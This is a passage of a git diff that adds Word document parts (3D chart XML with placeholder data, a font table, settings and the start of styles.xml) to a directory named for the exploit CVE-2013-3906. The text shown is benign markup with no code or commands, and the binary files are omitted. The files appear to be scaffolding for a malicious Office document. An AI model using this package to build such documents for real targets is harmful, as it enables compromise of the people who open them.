||||
<c:layout/>
|
||||
</c:title>
|
||||
<c:view3D>
|
||||
<c:rotX val="30"/>
|
||||
<c:perspective val="30"/>
|
||||
</c:view3D>
|
||||
<c:plotArea>
|
||||
<c:layout/>
|
||||
<c:bar3DChart>
|
||||
<c:barDir val="bar"/>
|
||||
<c:grouping val="clustered"/>
|
||||
<c:ser>
|
||||
<c:idx val="0"/>
|
||||
<c:order val="0"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$B$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Sales</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Sq.. 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Sq.. 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Sq.. 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Sq.. 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>8.1999999999999993</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>3.2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>1.4</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>1.2</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:shape val="box"/>
|
||||
<c:axId val="50777472"/>
|
||||
<c:axId val="50780032"/>
|
||||
<c:axId val="0"/>
|
||||
</c:bar3DChart>
|
||||
<c:valAx>
|
||||
<c:axId val="50780032"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:majorGridlines/>
|
||||
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="50777472"/>
|
||||
<c:crossBetween val="between"/>
|
||||
</c:valAx>
|
||||
<c:catAx>
|
||||
<c:axId val="50777472"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="l"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="50780032"/>
|
||||
<c:auto val="1"/>
|
||||
<c:lblAlgn val="ctr"/>
|
||||
<c:lblOffset val="100"/>
|
||||
</c:catAx>
|
||||
</c:plotArea>
|
||||
<c:legend>
|
||||
<c:legendPos val="r"/>
|
||||
<c:layout/>
|
||||
</c:legend>
|
||||
<c:plotVisOnly val="1"/>
|
||||
</c:chart>
|
||||
<c:externalData r:id="rId1"/>
|
||||
</c:chartSpace>
|
228
data/exploits/CVE-2013-3906/word/charts/chart5.xml
Executable file
228
data/exploits/CVE-2013-3906/word/charts/chart5.xml
Executable file
@ -0,0 +1,228 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||
<c:lang val="en-US"/>
|
||||
<c:chart>
|
||||
<c:view3D>
|
||||
<c:perspective val="30"/>
|
||||
</c:view3D>
|
||||
<c:plotArea>
|
||||
<c:layout/>
|
||||
<c:line3DChart>
|
||||
<c:grouping val="standard"/>
|
||||
<c:ser>
|
||||
<c:idx val="0"/>
|
||||
<c:order val="0"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$B$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 1</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>4.3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>4.5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="1"/>
|
||||
<c:order val="1"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$C$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 2</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2.4</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>4.4000000000000004</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>1.8</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>2.8</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="2"/>
|
||||
<c:order val="2"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$D$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 3</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:axId val="50940928"/>
|
||||
<c:axId val="68729472"/>
|
||||
<c:axId val="78014208"/>
|
||||
</c:line3DChart>
|
||||
<c:catAx>
|
||||
<c:axId val="50940928"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="68729472"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:auto val="1"/>
|
||||
<c:lblAlgn val="ctr"/>
|
||||
<c:lblOffset val="100"/>
|
||||
</c:catAx>
|
||||
<c:valAx>
|
||||
<c:axId val="68729472"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="l"/>
|
||||
<c:majorGridlines/>
|
||||
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="50940928"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:crossBetween val="between"/>
|
||||
</c:valAx>
|
||||
<c:serAx>
|
||||
<c:axId val="78014208"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="68729472"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
</c:serAx>
|
||||
</c:plotArea>
|
||||
<c:legend>
|
||||
<c:legendPos val="r"/>
|
||||
<c:layout/>
|
||||
</c:legend>
|
||||
<c:plotVisOnly val="1"/>
|
||||
</c:chart>
|
||||
<c:externalData r:id="rId1"/>
|
||||
</c:chartSpace>
|
238
data/exploits/CVE-2013-3906/word/charts/chart6.xml
Executable file
238
data/exploits/CVE-2013-3906/word/charts/chart6.xml
Executable file
@ -0,0 +1,238 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||
<c:lang val="en-US"/>
|
||||
<c:chart>
|
||||
<c:view3D>
|
||||
<c:perspective val="30"/>
|
||||
</c:view3D>
|
||||
<c:plotArea>
|
||||
<c:layout/>
|
||||
<c:surface3DChart>
|
||||
<c:ser>
|
||||
<c:idx val="0"/>
|
||||
<c:order val="0"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$B$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 1</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>4.3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3.5</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>4.5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="1"/>
|
||||
<c:order val="1"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$C$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 2</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2.4</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>4.4000000000000004</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>1.8</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>2.8</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:ser>
|
||||
<c:idx val="2"/>
|
||||
<c:order val="2"/>
|
||||
<c:tx>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$D$1</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="1"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Series 3</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:tx>
|
||||
<c:cat>
|
||||
<c:strRef>
|
||||
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||
<c:strCache>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>Category 1</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>Category 2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>Category 3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>Category 4</c:v>
|
||||
</c:pt>
|
||||
</c:strCache>
|
||||
</c:strRef>
|
||||
</c:cat>
|
||||
<c:val>
|
||||
<c:numRef>
|
||||
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||
<c:numCache>
|
||||
<c:formatCode>General</c:formatCode>
|
||||
<c:ptCount val="4"/>
|
||||
<c:pt idx="0">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="1">
|
||||
<c:v>2</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="2">
|
||||
<c:v>3</c:v>
|
||||
</c:pt>
|
||||
<c:pt idx="3">
|
||||
<c:v>5</c:v>
|
||||
</c:pt>
|
||||
</c:numCache>
|
||||
</c:numRef>
|
||||
</c:val>
|
||||
</c:ser>
|
||||
<c:bandFmts/>
|
||||
<c:axId val="59304576"/>
|
||||
<c:axId val="68746240"/>
|
||||
<c:axId val="59572224"/>
|
||||
</c:surface3DChart>
|
||||
<c:catAx>
|
||||
<c:axId val="59304576"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="68746240"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:auto val="1"/>
|
||||
<c:lblAlgn val="ctr"/>
|
||||
<c:lblOffset val="100"/>
|
||||
</c:catAx>
|
||||
<c:valAx>
|
||||
<c:axId val="68746240"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="l"/>
|
||||
<c:majorGridlines/>
|
||||
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="59304576"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
<c:crossBetween val="midCat"/>
|
||||
</c:valAx>
|
||||
<c:serAx>
|
||||
<c:axId val="59572224"/>
|
||||
<c:scaling>
|
||||
<c:orientation val="minMax"/>
|
||||
</c:scaling>
|
||||
<c:axPos val="b"/>
|
||||
<c:tickLblPos val="nextTo"/>
|
||||
<c:crossAx val="68746240"/>
|
||||
<c:crosses val="autoZero"/>
|
||||
</c:serAx>
|
||||
</c:plotArea>
|
||||
<c:legend>
|
||||
<c:legendPos val="r"/>
|
||||
<c:layout/>
|
||||
<c:txPr>
|
||||
<a:bodyPr/>
|
||||
<a:lstStyle/>
|
||||
<a:p>
|
||||
<a:pPr rtl="0">
|
||||
<a:defRPr/>
|
||||
</a:pPr>
|
||||
<a:endParaRPr lang="en-US"/>
|
||||
</a:p>
|
||||
</c:txPr>
|
||||
</c:legend>
|
||||
<c:plotVisOnly val="1"/>
|
||||
</c:chart>
|
||||
<c:externalData r:id="rId1"/>
|
||||
</c:chartSpace>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
31
data/exploits/CVE-2013-3906/word/fontTable.xml
Executable file
31
data/exploits/CVE-2013-3906/word/fontTable.xml
Executable file
@ -0,0 +1,31 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:fonts xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
|
||||
<w:font w:name="Calibri">
|
||||
<w:panose1 w:val="020F0502020204030204"/>
|
||||
<w:charset w:val="CC"/>
|
||||
<w:family w:val="swiss"/>
|
||||
<w:pitch w:val="variable"/>
|
||||
<w:sig w:usb0="E00002FF" w:usb1="4000ACFF" w:usb2="00000001" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/>
|
||||
</w:font>
|
||||
<w:font w:name="Times New Roman">
|
||||
<w:panose1 w:val="02020603050405020304"/>
|
||||
<w:charset w:val="CC"/>
|
||||
<w:family w:val="roman"/>
|
||||
<w:pitch w:val="variable"/>
|
||||
<w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/>
|
||||
</w:font>
|
||||
<w:font w:name="Tahoma">
|
||||
<w:panose1 w:val="020B0604030504040204"/>
|
||||
<w:charset w:val="CC"/>
|
||||
<w:family w:val="swiss"/>
|
||||
<w:pitch w:val="variable"/>
|
||||
<w:sig w:usb0="E1002EFF" w:usb1="C000605B" w:usb2="00000029" w:usb3="00000000" w:csb0="000101FF" w:csb1="00000000"/>
|
||||
</w:font>
|
||||
<w:font w:name="Cambria">
|
||||
<w:panose1 w:val="02040503050406030204"/>
|
||||
<w:charset w:val="CC"/>
|
||||
<w:family w:val="roman"/>
|
||||
<w:pitch w:val="variable"/>
|
||||
<w:sig w:usb0="E00002FF" w:usb1="400004FF" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/>
|
||||
</w:font>
|
||||
</w:fonts>
|
BIN
data/exploits/CVE-2013-3906/word/media/image1.jpeg
Executable file
BIN
data/exploits/CVE-2013-3906/word/media/image1.jpeg
Executable file
Binary file not shown.
36
data/exploits/CVE-2013-3906/word/settings.xml
Executable file
36
data/exploits/CVE-2013-3906/word/settings.xml
Executable file
@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:settings xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main">
|
||||
<w:zoom w:percent="100"/>
|
||||
<w:proofState w:spelling="clean" w:grammar="clean"/>
|
||||
<w:defaultTabStop w:val="708"/>
|
||||
<w:characterSpacingControl w:val="doNotCompress"/>
|
||||
<w:compat/>
|
||||
<w:rsids>
|
||||
<w:rsidRoot w:val="00D15BD0"/>
|
||||
<w:rsid w:val="00D15BD0"/>
|
||||
<w:rsid w:val="00F8254F"/>
|
||||
</w:rsids>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr>
|
||||
<w:themeFontLang w:val="en-US"/>
|
||||
<w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/>
|
||||
<w:shapeDefaults>
|
||||
<o:shapedefaults v:ext="edit" spidmax="1026"/>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout>
|
||||
</w:shapeDefaults>
|
||||
<w:decimalSymbol w:val=","/>
|
||||
<w:listSeparator w:val=";"/>
|
||||
</w:settings>
|
220
data/exploits/CVE-2013-3906/word/styles.xml
Executable file
220
data/exploits/CVE-2013-3906/word/styles.xml
Executable file
@ -0,0 +1,220 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:styles xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
|
||||
<w:docDefaults>
|
||||
<w:rPrDefault>
|
||||
<w:rPr>
|
||||
<w:rFonts w:asciiTheme="minorHAnsi" w:hAnsiTheme="minorHAnsi" w:cstheme="minorBidi"/>
|
||||
<w:sz w:val="22"/>
|
||||
<w:szCs w:val="22"/>
|
||||
<w:lang w:val="en-US" w:bidi="ar-SA"/>
|
||||
</w:rPr>
|
||||
</w:rPrDefault>
|
||||
<w:pPrDefault>
|
||||
<w:pPr>
|
||||
<w:spacing w:after="200" w:line="276" w:lineRule="auto"/>
|
||||
</w:pPr>
|
||||
</w:pPrDefault>
|
||||
</w:docDefaults>
|
||||
<w:latentStyles w:defLockedState="0" w:defUIPriority="99" w:defSemiHidden="1" w:defUnhideWhenUsed="1" w:defQFormat="0" w:count="267">
|
||||
<w:lsdException w:name="Normal" w:semiHidden="0" w:uiPriority="0" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 1" w:semiHidden="0" w:uiPriority="9" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 2" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 3" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 4" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 5" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 6" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 7" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 8" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="heading 9" w:uiPriority="9" w:qFormat="1"/>
|
||||
<w:lsdException w:name="toc 1" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 2" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 3" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 4" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 5" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 6" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 7" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 8" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="toc 9" w:uiPriority="39"/>
|
||||
<w:lsdException w:name="caption" w:uiPriority="35" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Title" w:semiHidden="0" w:uiPriority="10" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Default Paragraph Font" w:uiPriority="1"/>
|
||||
<w:lsdException w:name="Subtitle" w:semiHidden="0" w:uiPriority="11" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Strong" w:semiHidden="0" w:uiPriority="22" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Emphasis" w:semiHidden="0" w:uiPriority="20" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Table Grid" w:semiHidden="0" w:uiPriority="59" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Placeholder Text" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="No Spacing" w:semiHidden="0" w:uiPriority="1" w:unhideWhenUsed="0" w:qFormat="1"/>
|
||||
<w:lsdException w:name="Light Shading" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 2" w:semiHidden="0" w:uiPriority="64" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 1" w:semiHidden="0" w:uiPriority="65" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium List 2" w:semiHidden="0" w:uiPriority="66" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 1" w:semiHidden="0" w:uiPriority="67" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 2" w:semiHidden="0" w:uiPriority="68" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Grid 3" w:semiHidden="0" w:uiPriority="69" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Dark List" w:semiHidden="0" w:uiPriority="70" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Shading" w:semiHidden="0" w:uiPriority="71" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful List" w:semiHidden="0" w:uiPriority="72" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Colorful Grid" w:semiHidden="0" w:uiPriority="73" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Shading Accent 1" w:semiHidden="0" w:uiPriority="60" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light List Accent 1" w:semiHidden="0" w:uiPriority="61" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Light Grid Accent 1" w:semiHidden="0" w:uiPriority="62" w:unhideWhenUsed="0"/>
|
||||
<w:lsdException w:name="Medium Shading 1 Accent 1" w:semiHidden="0" w:uiPriority="63" w:unhideWhenUsed="0"/>
|
||||
